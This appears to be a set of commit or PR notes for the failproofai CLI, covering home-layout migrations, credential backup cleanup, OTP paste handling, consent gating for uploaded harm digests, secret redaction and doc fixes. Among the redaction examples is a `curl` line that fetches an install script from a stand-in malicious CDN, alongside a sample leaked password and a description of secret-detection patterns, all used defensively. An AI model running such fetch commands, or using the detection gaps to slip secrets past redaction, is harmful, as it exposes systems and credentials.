**A failed cleanup marked the migration successful.** With the destination
already present the step dropped the layout-3 original and swallowed any error,
then stamped layout 4 — leaving `auth.json`, a live bearer token, at the home
root where nothing would read it again and nothing would clean it up. It
propagates now: the home stays at layout 3 and the next command retries, which
is what runMigrations documents a failed step to mean.
The rmSync regression test fails for real rather than by mock — a directory
where the file should be, since `force` suppresses ENOENT and nothing else, and
an ESM import bound at load time would never see a spy.

Each demonstrated before it was touched.
**The digest went permanently quiet on mature machines.** A policy straddling
the window falls back to counting its in-window examples, and the audit keeps
at most three per policy in transcript-walk order. On a machine months into its
history those three are routinely all old, so a policy that fired an hour ago
scored zero and the row was dropped — and since firstSeen never moves back past
the watermark, it was dropped from every later report too. The module docs call
this "a delayed digest"; it is a feature that stops working the longer you use
it. Where lastSeen itself falls inside the window that timestamp is a real
in-window event, so the count floors at one instead of vanishing.
**A failed migration could strand a home as "current" forever.** Every step ends
at writeVersionFile(), which stamped LAYOUT_VERSION rather than the step's own
`to` — harmless while every chain was one hop, a trap the moment this release
made one two. On 2 → 3 → 4 the first step stamps 4, so a 3 → 4 that throws
leaves detectLayout() reporting `current`: nothing retries, auth.json stays at
the root while layout 4 reads audit/session.json, and the machine is signed out
with its own session on disk. writeVersionFile now honours the `layout` its
signature always accepted and its body ignored; a failed step restores the
marker to step.from, and only when it already claims to be current.
**A pasted OTP killed the sign-in.** The server validates the code at 4..12
characters, so pasting "Your code is 123456" returns validation_error rather
than invalid_code — and the retry loop only re-prompts on invalid_code. It
aborted and cost a fresh email. The prompt is bounded at both ends now.
**One failed refresh blanked a healthy console.** reload's catch closed over a
`view` frozen at first render, so on a page the server could not seed it stayed
null forever and the next transient failure — a tab hide fires the same
listener — replaced a working console with an error.
**An interval edit was silently dropped.** 7 → 14 → 7 compared the second write
against a stale mirror, decided nothing changed, and skipped it: input reading
7, config saying 14.
Also: audit_share_section_shown latched before the auth probe resolved, so
every view ever recorded carried signed_in: false. And the "turns OFF" settings
test mocked a shape the SetAutoAuditResult union forbids, so its branch never
ran and it asserted only that the action had been called.

The email and the code were four loose lines with no logo, no spine and no
close — the one moment this command asks for something personal, looking like a
different tool from `failproofai config`. They are now two steps of one flow in
the same frame: logo, │ spine, ◆/◇ glyphs, pink └.
The address is echoed back on the settled step. A typo in it is the likeliest
reason no code ever arrives, and that step is the last place to notice before
somebody starts waiting for one.
**A pasted code works.** The code is numeric, so "Your failproof code is
123456", a copied "123 456", and a trailing space all resolve to the digits.
Pasting the line out of the email was rejected for length before — and since
the server answers a too-long code with `validation_error` rather than
`invalid_code`, the retry loop treated it as fatal and the sign-in aborted for
a fresh email. Input with no digits at all is refused at the prompt rather than
spending one of the server's five attempts.
Not masked, deliberately: a login code is single-use and expires in minutes, so
hiding it protects nothing and costs the only thing that matters there — seeing
your own typo before you press enter.
The prompt's hint now steps aside as soon as you type. It is a placeholder, and
a placeholder sitting beside a real answer is the arrangement most likely to
make somebody wonder which one is theirs.
`--schedule` and `--no-schedule` speak the same vocabulary, and the frame
appears only when a flow actually happened — signing in draws it; an
already-signed-in machine gets a compact confirmation, because a spine with no
beginning reads as an unfinished wizard. `--status` stays a two-column readout
for that reason: it is a snapshot, not a flow. Its colour now answers to the
same `colorsEnabled` gate as the rest, where it used to emit ANSI into piped
output with no structure to go with it.
New in the toolkit: `step`/`stepOpen` (the settled and open blocks `selectOne`
already drew privately) and `PromptTextOptions.prefix`, so a prompt can sit on
the spine — part of its own line, because the prompt erases that row on every
keystroke and anything written there beforehand is gone by the first character.

Signing in asked two questions, and only one of them needs a person at that
moment. `--schedule --email you@yourdomain.com` answers the first, leaving the
code — which has to be read out of a mailbox, and which no flag can shortcut.
The address is validated at the CLI boundary, beside the day count, so a typo
fails as a usage error before a frame is drawn or a code is sent. It is still
shown as a settled step: a flag is exactly where a wrong address hides, and
that step is the last place to notice before somebody waits for mail that is
going elsewhere.
A DIFFERENT address on a machine that is already signed in is refused, naming
both and how to switch. Where a machine's digests go is not a thing a flag
should change quietly — that is the sort of change nobody notices until the
mail stops. The same address proceeds without prompting, compared
case-insensitively because a mail server does.
No `--code` flag, deliberately. It would land in shell history and sit in `ps`
for every other user on the machine, and a short life is not the same as
harmless.
The argument parser is positional now. It matched values against a set of seen
strings, which cannot tell one flag's argument from another's.

It said the migration is "three moves and no deletions" and then, two sentences
later, that a stale original is dropped. Both were describing real behaviour —
the step deletes exactly one thing, a legacy source whose destination already
holds the authoritative copy — but "no deletions" is the wrong summary of that,
and the entry is what somebody reads before deciding whether an upgrade can
lose them a credential.
Also states what happens when that removal fails, which the entry never
mentioned: it propagates, so the home stays at layout 3 and retries rather than
being marked migrated with the credential still at the root.

`protect-env-vars` is in the harm digest's set and its dominant trigger is
`export VAR=…`, whose example is the whole command. SECRET_PATTERNS matches
nine vendor-prefixed formats, a JWT, a literal `Authorization: Bearer` and a
fixed non-HTTP scheme list — none of which is an assignment. So
`export DATABASE_PASSWORD=hunter2-prod-acme` left the machine verbatim, and
`export` is ubiquitous in agent sessions.
maskAssignedSecrets covers the three shapes that gap left open: `NAME=value`
where the name says credential, `scheme://user:pass@host` on any scheme, and
curl's `-u user:pass`. The name is kept and only the value masked, because
which credential leaked is the actionable half. It runs last of the three
passes so the vendor patterns keep first refusal on anything they can label
precisely.
These patterns live in the redactor rather than in the shared SECRET_PATTERNS
deliberately. The two jobs have opposite error costs: sanitize-* BLOCKS a tool
call, so a name-based rule there denies work the user wanted; redaction only
removes characters from a digest, so it can afford the wider net.
Two misfires in the same file:
- Every prefix in SECRET_PREFIXES was unanchored, so `sk-` matched inside
ordinary words: `kubectl get pods -n risk-scoring` redacted to
`… -n ri[REDACTED: OpenAI API key]`, inventing a credential the digest then
reported and destroying the token that said which command ran.
- shortenPaths deleted a URL's host as though it were a directory, so
`curl https://evil-cdn.example.com/install.sh` came out `https:/…/install.sh`
— the domain is the entire security decision in that finding.

…achine
`reportHarm` gated every network send on `config.audit.auto` alone. Through
1.0.0 that key meant "scan this machine locally on a timer" and nothing more:
no account, no network, `setAutoAuditAction` had no auth check at all, and the
toggle that wrote it said in as many words that nothing leaves the machine.
Harm digests gave the same stored bit a second job. Any machine with `auto`
already true and a session on disk — which the reminder and invite flows
already created, and which migrateToLayout4 carries forward intact — would
have uploaded redacted transcript excerpts and mailed a digest on its first
scheduled run after upgrading, having agreed to nothing of the kind. The only
notice was a stdout line that on a headless box goes to the journal.
The new consent gates only ever fired at ENABLE time; nothing re-consented a
machine that was already enabled.
So sending is now gated on `audit.reports_consented_at`, stamped in the same
write as `auto` by both opt-in paths — the CLI's `--schedule` (after its
sign-in) and the dashboard toggle (after its whoAmI check, looking at the panel
that enumerates what gets sent). This is not the second switch the config's own
comment rejects and is never drawn as one: `auto` is what a person sets, this
records the disclosure they saw, and nothing can set one without the other.
A grandfathered machine keeps scanning locally, sends nothing, and gets a line
saying how to turn digests on. Also fixes the signed-out line, which pointed at
an audit-page sign-in this release moved behind "invite a friend".

This release moves the failproofai home to layout 4, and failproofaid calls
refuse_foreign_layout() before it binds its socket: a binary built against
layout 3 exits rather than serve a layout-4 home. refuse_foreign_layout is not
new — it shipped in 1.0.0, whose paths.rs says LAYOUT_VERSION = 3 — so every
already-installed daemon refuses once the marker moves.
Nothing refreshes the binary on upgrade: refreshDaemonToCliVersion has one
non-test caller (`failproofai update`) and there is no postinstall. So the
first ordinary CLI command migrates the home and arms the failure, and nothing
looks wrong, because the running daemon read the marker once at startup and
keeps serving from memory. It lands at the next reboot or restart: the unit
exits nonzero, Restart=on-failure trips the start limit, the service latches
failed, and a daemon-configured machine that cannot reach its daemon denies
every tool call across all 11 CLIs. healDaemonFlag() does not rescue it — a
layout-refusing unit reads as `stopped`, which it deliberately excludes.
The stale branch of checkLayoutForCli — the branch that performs the migration
— was the one path emitting no daemon hint at all; it was only on the return
below it. And that hint told everybody a stale daemon "is slower to notice an
upgrade, not broken", which across a layout bump is false, pointing at
`failproofai config` rather than `failproofai update`.
staleDaemonHint now branches on daemon.configured: machines that require the
daemon are told the service can be left down and what that costs, machines
evaluating in-process keep the mild line, which is accurate for them.

**The migration's session backup outlived the migration.** The layout-4 step
copies auth.json aside before moving it, which is right — a move with a bug in
it is a deletion. Keeping that copy forever is not: migrationsDir is classed
`identity`, so no reset class removes it, and deleteAuth() only ever knew about
the live path. A dashboard sign-out, a 401 auto-delete and `failproofai reset`
all left a working bearer and refresh token at
migrations/backup-layout3/auth.json, to be carried into every dotfile backup,
container image and snapshot after it — with no CLI sign-out at all, so the
headless boxes this feature targets had no supported way to remove it.
A clean chain now prunes it, guarded on the file being readable at its new home
so a copy is never the last one. A FAILED chain keeps it, which is the state
the backup exists for. deleteAuth() also sweeps any straggler, so sign-out
means the token is off the machine even when a chain failed. Credentials the
migration DELETES rather than moves are untouched — there the backup is the
only remaining copy.
**A dead session read as a working destination.** ensureSignedIn returned any
session file on disk with its expiry unread, so `--schedule` printed
`reports to <email>` and exited 0 for a refresh token that had lapsed or been
revoked elsewhere: digests configured, destination shown, nothing delivered for
up to a full interval (90 days at the maximum), the only signal a journal line.
The dashboard already refuses this state, so the two surfaces disagreed on the
one thing this feature claims is in sync. The check is a comparison against a
number already in the file, so the offline property stands — a signed-in
machine with no network is still not re-prompted. `--status` applies it too,
and gained a row for the grandfathered-consent case, which would otherwise show
a healthy schedule and a live address while mailing nothing.
**The CLI opt-in never said what leaves the machine.** The settings panel
enumerates it and argues in its own comment that a checkable list beats a
stronger claim; that reasoning applies at least as much to the only opt-in path
on a headless box. Adds the real payload from report-harm.ts.
**`audit --help` claimed a bare audit runs "fully offline — no account or
network".** It fires cli_audit_started and cli_audit_completed to PostHog,
gated only by the opt-out isTelemetryEnabled(). That sentence is load-bearing
for the whole consent story, so it now says what is actually true and names the
env var that turns the rest off.

The whole feature landed with `git diff origin/main...HEAD -- docs/` empty, so
every page still described the release before it.
docs/cli/audit.mdx was the worst of it: it told users to enable scheduling by
hand-editing `audit.auto: true` — the exact key whose meaning this release
changes — on a page whose Tip said the audit runs "fully offline, no account or
network required". The enable path and the privacy claim were both wrong, and
they were wrong in the same direction. It now documents the four flags (none of
which appeared anywhere in docs/), enumerates what a digest actually sends,
carries the redaction caveat rather than implying a guarantee, explains
`reports_consented_at` and what an upgrading machine should expect, and points
at `audit/schedule.json` instead of the layout-3 path.
docs/dashboard.mdx documented the reminder cadence picker and
`/api/auth/reminder`, both deleted here, and had no section for the rebuilt
settings page at all. The 14 locale copies are generated — `bun run translate`
regenerates them from the English source.
Also re-gates the settings page. The rewrite dropped the
FAILPROOFAI_DISABLE_PAGES -> notFound() check that audit, policies and projects
all still carry, and the new gear link sat outside the navbar's filter — so an
operator who disabled the page got the page anyway, with a link to it in the
header. It is the page that least deserves to lose that gate: it shows the
address digests are mailed to and can sign the machine out, on a dashboard that
may deliberately be exposed beyond localhost.

**Each migration step stamps its own target.** Every step ended by writing
LAYOUT_VERSION, which was harmless while each chain was one hop. On `2 → 3 → 4`
the first step marks the home layout 4 with its files still at layout 3, and
the window before the second step completes is real: a SIGKILL, an OOM or a
power loss inside it leaves a home reading `current` forever, because
detectLayout() short-circuits on the marker. The session then sits at the old
path, unread, permanently. runMigrations' catch repairs an over-stamp, but a
killed process runs no catch — the stamp has to be right as it is written.
**A failed copy no longer leaves a partial destination.** copyFileSync is not
atomic, so ENOSPC or a kill part-way through the EXDEV fallback left a
truncated `to`. The source was still intact at that point — but the retry takes
the existsSync(to) branch, reads the fragment as authoritative, and deletes the
good original. The branch that exists to protect the credential would have
destroyed it.
**The report window is clamped against its own end.** window_from is the
server's watermark and window_to is this machine's clock, so a backwards jump
(NTP correcting a fast RTC, a snapshot restore, a dual-boot machine writing
localtime to the hardware clock) put `from` after `to`. Nothing matches such a
window, so every finding was dropped — silently and permanently, since the
watermark only moves forward, while the outcome line still read normal.
**extractCode stops eating the sentence's digits.** The prompt invites pasting
the whole line and the real message is `Your failproof code is 123456 (expires
in 10 minutes)`, so joining every digit produced `12345610` — eight digits,
which passes the 4–12 validator, reaches the server, and burns an attempt. A
run long enough to be a code now wins; a genuinely split `123 456` still joins.
**A Mac is no longer told its healthy daemon will not run.** daemonServiceStatus
needs `sudo -n` to interrogate a LaunchDaemon, so a Mac with no cached
credential — the common state — answers "unknown" for a service that is running
fine. Treating every non-running value as a fault contradicted the schedule
confirmation printed one line above. The dashboard already special-cases it.
**Offline is told apart from expired.** whoAmI() returns null for a 401 AND for
every transport failure, and the client discriminated on res.ok alone — so a
machine behind a proxy hit the 10s timeout, watched the switch snap back, and
was told "that sign-in expired", then handed a code prompt that cannot succeed
either. What is left on disk separates them: a 401 wipes the session, a network
failure leaves it.
**/settings can recover from a dead session.** With auto on and the session
gone it rendered a warning telling the user to sign in and no control to do it
with — the dialog opened only from the off→on toggle and enable()'s rejection
path, so recovery meant guessing that toggling off and on was the way through.
**The daemon's start time stops counting sleep.** startedAtFromMonotonic mixed
systemd's CLOCK_MONOTONIC stamp (frozen across suspend) with os.uptime()
(counts suspend), so a laptop that suspends nightly read "up 30d" for a daemon
started yesterday. The `< 0` guard only caught the impossible direction; this
error is always positive. Both sides now read one clock.

**Nothing pinned that a bare `failproofai audit` sends nothing.** It is the
load-bearing privacy promise — `audit --help` and the docs both make it, and
`reportHarm` is the only thing in the audit that can reach the network holding
a transcript excerpt — and `grep -rn reportHarm __tests__/` matched only the
file that invokes it directly. The new tripwire asserts there is exactly ONE
call site and that it sits inside runScheduledAudit, which is the shape that
would break: the manual and scheduled paths share almost everything else.
Structural rather than behavioural because driving runAuditCli starts a
dashboard and scans the real machine; the repo already reads committed sources
this way for the dogfood configs and the Rust/TS harness keys.
**submitAuditReport had no test at all.** The rollout note's claim — an older
server 404s, reportHarm returns {kind:"failed"}, nothing throws — was asserted
against `submitMock.mockRejectedValue(...)`, which proves reportHarm's
try/catch and says nothing about what the client does with a 404. The 58
deleted lines in api-server-client.test.ts were the only tests that had ever
touched that layer. Now covered: 404, a proxy's HTML 502, 401, success, and
that the body carries no address (the server resolves it from the token, so a
machine must not be the thing deciding where a digest goes).
**A dry-run assertion was tautological**: it checked
`` `${planMigration(2).length} step(s) would run` `` — deriving the expected
count from the function whose output the report describes, so it held for any
chain including an empty one. The steps are named literally now, so it fails
when layout 5 lands, which is exactly when the report starts describing a chain
nobody checked.
Also pins the consent stamp against the whole-file config rewrite, in both
directions: a rewrite must not drop it (that would stop a machine's digests the
next time any unrelated setting changed) and must not invent it (a key on disk
implying somebody was asked). Replaces the stale comment above that test, which
described `emailEnabled` — a key this same PR removed.
The changelog was contradicting itself inside one version section, because it
recorded the branch's history rather than the release: one entry announced
deleting /settings while two others rebuilt it, and another introduced
`email_enabled` as a separate switch that a later entry removes. Collapsed to
what actually ships, and the new fixes are recorded.
